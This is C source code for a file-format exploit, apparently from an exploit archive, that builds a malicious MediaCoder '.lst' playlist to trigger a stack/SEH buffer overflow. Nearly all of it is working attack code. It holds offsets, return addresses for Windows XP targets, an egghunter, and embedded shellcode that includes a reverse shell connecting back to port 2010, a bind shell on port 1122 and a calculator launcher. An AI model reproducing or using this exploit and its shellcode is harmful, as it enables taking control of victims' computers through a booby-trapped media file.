Mediacoder – ‘.lst’ Local Buffer Overflow
//==================================================== //MediaCoder (.lst) file local Buffer Overflow Exploit //==================================================== #include<stdio.h> #include<getopt.h> #include<string.h> #include<windows.h> #define PAUSE() getchar() #define R return #define V void #define CONST const #define STATIC static #define SIZE(a) strlen(a) #define FOR(i,a,b) for(i=a;i<b;++i) #define IFeq(a,b) if(a==b) #define IFless(a,b) if(a<b) #define IFgreat(a,b) if(a>b) #define IFnot(a) if(!a) #define fisier FILE #define nul NULL #define SPLIT(a) exit(a) #define VER "0.7.3 build 4612 PSP edition" #define POCNAME "MediaCoder .lst file local buffer overflow exploit" #define AUTHOR "fl0 fl0w" #define IFn(a,b) if(a!=b) #define String_lengh 0x2FC #define EIP_OFFSET 0x300 #define NOP_OFFSET 0x304 #define EGGHUNTER_OFFSET 0x318 #define JUNK_OFFSET 0x34A #define TAG_OFFSET 0x81C #define SHELL_OFFSET 0x824 #define NSEH_OFFSET 0x2FC #define STOP break #define NOP "\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90" \ "\x90\x90\x90\x90\x90" typedef char i8; typedef short i16; typedef int i32; enum {True=1,False=0,Error=-1}; size_t len(const i8*); i32 fwt(CONST V*,i32,i32,fisier*); i32 mcpy(V*,CONST V*,i32); i32 mset(V*,i32,i32); i32 prinf(fisier*,CONST i8*,i8*); i32 strcp(CONST i8*,CONST i8*); V print(i8*); DWORD getFsize(fisier*,i8*); V gen_random(i8*,CONST i32); DWORD SearchStream(CONST i8*,size_t,CONST i8*,size_t); DWORD Findpopopret(V); i32 stncmp(CONST i8*,CONST i8*,i32); V help(); i32 closef(fisier*); fisier* openf(CONST i8*,CONST i8*,fisier*); char BeeP[]={ "\x55\x89\xE5\x83\xEC\x18\xC7\x45\xFC" "\x6F\x7A\x83\x7C" "\xC7\x44\x24\x04\xD0\x07\x00\x00\xC7\x04\x24" "\x01\x0E\x00\x00\x8B\x45\xFC\xFF\xD0\xC9\xC3" }; char ConnectBack[]={ /*ConnectBack 127.0.0.1 port 2010*/ "\x31\xc9\xbd\xcb\xe3\xbf\xf7\xb1\x4f\xd9\xc8\xd9\x74\x24\xf4" "\x5f\x31\x6f\x10\x83\xc7\x04\x03\x6f\x0c\x29\x16\x43\x1f\x24" "\xd9\xbc\xe0\x56\x53\x59\xd1\x44\x07\x29\x40\x58\x43\x7f\x69" "\x13\x01\x94\xfa\x51\x8e\x9b\x4b\xdf\xe8\x92\x4c\xee\x34\x78" "\x8e\x71\xc9\x83\xc3\x51\xf0\x4b\x16\x90\x35\xb1\xd9\xc0\xee" "\xbd\x48\xf4\x9b\x80\x50\xf5\x4b\x8f\xe9\x8d\xee\x50\x9d\x27" "\xf0\x80\x0e\x3c\xba\x38\x24\x1a\x1b\x38\xe9\x79\x67\x73\x86" "\x49\x13\x82\x4e\x80\xdc\xb4\xae\x4e\xe3\x78\x23\x8f\x23\xbe" "\xdc\xfa\x5f\xbc\x61\xfc\x9b\xbe\xbd\x89\x39\x18\x35\x29\x9a" "\x98\x9a\xaf\x69\x96\x57\xa4\x36\xbb\x66\x69\x4d\xc7\xe3\x8c" "\x82\x41\xb7\xaa\x06\x09\x63\xd3\x1f\xf7\xc2\xec\x40\x5f\xba" "\x48\x0a\x72\xaf\xea\x51\x1b\x1c\xc0\x69\xdb\x0a\x53\x19\xe9" "\x95\xcf\xb5\x41\x5d\xc9\x42\xa5\x74\xad\xdd\x58\x77\xcd\xf4" "\x9e\x23\x9d\x6e\x36\x4c\x76\x6f\xb7\x99\xd8\x3f\x17\x72\x98" "\xef\xd7\x22\x70\xfa\xd7\x1d\x60\x05\x32\x28\xa7\x92\xc2\x2b" "\x27\x62\x55\x2e\x27\x63\x7f\xa7\xc1\x01\x6f\xee\x5a\xbe\x16" "\xab\x10\x5f\xd6\x61\xb0\xfc\x45\xee\x40\x8a\x75\xb9\x17\xdb" "\x48\xb0\xfd\xf1\xf3\x6a\xe3\x0b\x65\x54\xa7\xd7\x56\x5b\x26" "\x95\xe3\x7f\x38\x63\xeb\x3b\x6c\x3b\xba\x95\xda\xfd\x14\x54" "\xb4\x57\xca\x3e\x50\x21\x20\x81\x26\x2e\x6d\x77\xc6\x9f\xd8" "\xce\xf9\x10\x8d\xc6\x82\x4c\x2d\x28\x59\xd5\x5d\x63\xc3\x7c" "\xf6\x2a\x96\x3c\x9b\xcc\x4d\x02\xa2\x4e\x67\xfb\x51\x4e\x02" "\xfe\x1e\xc8\xff\x72\x0e\xbd\xff\x21\x2f\x94" }; char Bindport1122[]={ "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e" "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48" "\x4e\x36\x46\x52\x46\x32\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x37" "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x48" "\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48" "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c" "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x45\x46\x32\x4a\x32\x45\x37\x45\x4e\x4b\x48" "\x4f\x55\x46\x32\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x44" "\x4b\x58\x4f\x45\x4e\x31\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58" "\x49\x38\x4e\x36\x46\x52\x4e\x41\x41\x56\x43\x4c\x41\x33\x4b\x4d" "\x46\x56\x4b\x38\x43\x34\x42\x53\x4b\x38\x42\x44\x4e\x30\x4b\x48" "\x42\x47\x4e\x51\x4d\x4a\x4b\x58\x42\x34\x4a\x30\x50\x45\x4a\x46" "\x50\x38\x50\x44\x50\x30\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56" "\x43\x55\x48\x36\x4a\x36\x43\x33\x44\x33\x4a\x46\x47\x57\x43\x57" "\x44\x43\x4f\x45\x46\x35\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x43\x42\x45\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e" "\x48\x46\x41\x38\x4d\x4e\x4a\x50\x44\x50\x45\x35\x4c\x56\x44\x30" "\x4f\x4f\x42\x4d\x4a\x36\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x55" "\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x45\x43\x35\x43\x35\x43\x44" "\x43\x35\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x36\x46\x50" "\x44\x36\x48\x36\x43\x35\x49\x38\x41\x4e\x45\x49\x4a\x36\x46\x4a" "\x4c\x51\x42\x47\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31" "\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d" "\x4a\x36\x45\x4e\x49\x44\x48\x58\x49\x54\x47\x55\x4f\x4f\x48\x4d" "\x42\x55\x46\x35\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46" "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x35" "\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x46\x43\x56" "\x4d\x36\x49\x38\x45\x4e\x4c\x36\x42\x35\x49\x45\x49\x32\x4e\x4c" "\x49\x38\x47\x4e\x4c\x56\x46\x34\x49\x58\x44\x4e\x41\x43\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x52\x50\x4f\x44\x54\x4e\x52" "\x43\x39\x4d\x58\x4c\x57\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56" "\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x34\x4f\x4f" "\x48\x4d\x4b\x45\x47\x55\x44\x45\x41\x45\x41\x35\x41\x45\x4c\x56" "\x41\x50\x41\x45\x41\x55\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x36" "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36" "\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x58\x47\x35\x4e\x4f" "\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d" "\x4a\x56\x42\x4f\x4c\x38\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a" }; i8 Calculator[]={ "\xba\x20\xf0\xfd\x7f\xc7\x02\x4c\xaa\xf8\x77\x33\xC0\x50\x68\x63\x61\x6C\x63" "\x54\x5B\x50\x53\xB9\xC7\x93\xC2\x77\xFF\xD1\xEB\xF7" }; i8 egghunter[]={/*IsBadReadPtr egghunter 32 bytes*/ "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "\x66\x6C\x30\x77" //fl0w tag "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" }; i8 tag[]={"\x66\x6C\x30\x77" "\x66\x6C\x30\x77" }; i32 j,i,x,custom=0,err; i8 c,shellbuffer[0x3E8],fbuffer[0xF4240],retcode[10]; DWORD ret; i32 main(i32 argc,i8** argv) { ((argc==7)||(argc==8)&&(atoi(argv[4])>0)&&(atoi(argv[6])>0)&&(atoi(argv[4])<6)||(argc==8)&&(atoi(argv[7])==4))?(err=True):(err=Error); IFeq(err,True){ ((strcp(argv[1],"-f")==0)&&(len(argv[1])==2)&&(strcp(argv[3],"-s")==0)&&(len(argv[3])==2)&&(strcp(argv[5],"-t")==0)&&(len(argv[5])==2))?(err=True):(err=Error); IFeq(err,True){ (atoi(argv[6])==1)?(mcpy(&ret,"\x26\x59\x01\x66",4)):(atoi(argv[6])==2)?(mcpy(&ret,"\xB8\x15\xD1\x72",4)):(atoi(argv[6])==3)?(mcpy(&ret,"\x83\x27\x90\x7C",4)):(atoi(argv[6])==4)?(custom=1):(custom=0); IFeq(custom,1){ if((strncmp(argv[7],"0x",(sizeof(i8)*2))==0)&&(len(argv[7])==10)){ for(j=(sizeof(char) * 8) - 1; (j >= 0);j--) { c = *(argv[1] + j + 2); ((c>=48)&&(c<=57)||(c>=65)&&(c<=70)||(c>=97)&&(c<=102))?(err=1):(err=-1); } sscanf(argv[7],"%x",&ret); } else print("syntax error 0x not found"); } } else print("syntax error ,target must be in range[1-4]"); } else { system("cls"); printf("[#]%s\n[#]Ver %s\n[#]Author %s\n",POCNAME,VER,AUTHOR); help(); } switch(atoi(argv[4])){ case 1: mcpy(shellbuffer,ConnectBack,SIZE(ConnectBack)); STOP; case 2: mcpy(shellbuffer,Bindport1122,0x2C5); STOP; case 3: mcpy(shellbuffer,Calculator,0x20); STOP; case 4: mcpy(shellbuffer,BeeP,0x13); STOP; } gen_random(fbuffer,String_lengh); mcpy(fbuffer+NSEH_OFFSET,"\xEB\x06\x90\x90",4); mcpy(fbuffer+EIP_OFFSET,&ret,4); mcpy(fbuffer+NOP_OFFSET,NOP,0x14); mcpy(fbuffer+EGGHUNTER_OFFSET,egghunter,0x20); mset(fbuffer+JUNK_OFFSET,0x58,0x4D2); mcpy(fbuffer+TAG_OFFSET,tag,8); mcpy(fbuffer+SHELL_OFFSET,shellbuffer,len(shellbuffer)); fisier* f=fopen(argv[2],"wb"); fwt(fbuffer,1,0x824+len(shellbuffer),f); closef(f); PAUSE(); print("DONE!"); printf("[!]File is %d bytes",getFsize(f,argv[2])); R 0; } size_t len(CONST i8* str) { CONST i8* aux=str; R SIZE(aux); } i32 fwt(CONST V* ptr,i32 sz,i32 elem,fisier* fname) { CONST V* p=ptr; R fwrite(p,sz,elem,fname); } i32 mcpy(V* dest,CONST V* source,i32 len) { V* D=dest; CONST* S=source; len=SIZE(source); memcpy(D,S,len); R len; } i32 mset(V* ptr,i32 val,i32 len) { V* f=ptr; i32 valoare=val; memset(f,val,len); R len; } i32 prinf(fisier* str,CONST i8* format,i8* buffer) { fisier* f=str; CONST i8* fm=format; R fprintf(f,fm,buffer); } i32 strcp(CONST i8* str1,CONST i8* str2) { CONST i8* s1=str1; CONST i8* s2=str2; R strcmp(s1,s2); } i32 stncmp(CONST i8* str1,CONST i8* str2,i32 num) { CONST i8* s1=str1; CONST i8* s2=str2; R strncmp(s1,s2,num); } V print(i8* msg) { printf("[*]%s\n",msg); } V gen_random(i8* s,CONST i32 len) { i32 i; STATIC CONST i8 alphanum[]= { "0123456789ABCDEFGHIJKLMNOPQRST" "UVWXYZabcdefghijklmnopqrstuvwxyz"}; FOR(i,0,len) { s[i]=alphanum[rand()%(sizeof(alphanum)-1)]; } s[len]=0; } V help() { i8 h[]= "***************************************************************************\n" "* syntax: [-f<file.m3u>] [-s<shellcode>] [-t<target>] 0xFFFFFFFF *\n" "* -f filename *\n" "* -s shellcode to run [1,5] *\n" "* -t target [1,4] *\n" "* example: mediac.exe -f vuln.lst -s 2 -t 1 *\n" "* mediac.exe -f vuln.lst -s 4 0xFFFFFFFF *\n" "* Shellcode 1.ConnectBack 127.0.0.1 port 2010 *\n" "* 2.Bindport1122 *\n" "* 3.Calculator *\n" "* 4.BeeP *\n" "* Targets 1.Universal *\n" "* 2.Windows xp sp2 en kernel32.dll *\n" "* 3.Windows sp3 en ntdll.dll *\n" "* 4.Windows xp sp1 en *\n" "***************************************************************************\n"; printf("%s",h);} DWORD getFsize(fisier* g,i8* gname) { DWORD s; g=fopen(gname,"rb"); IFeq(g,NULL) { print("File error at reading"); exit(0); } fseek(g,0,SEEK_END); s=ftell(g); R s;} i32 closef(fisier* stream) { fisier* f=stream; R fclose(f); } # Inj3ct0r.com [2010-03-18] |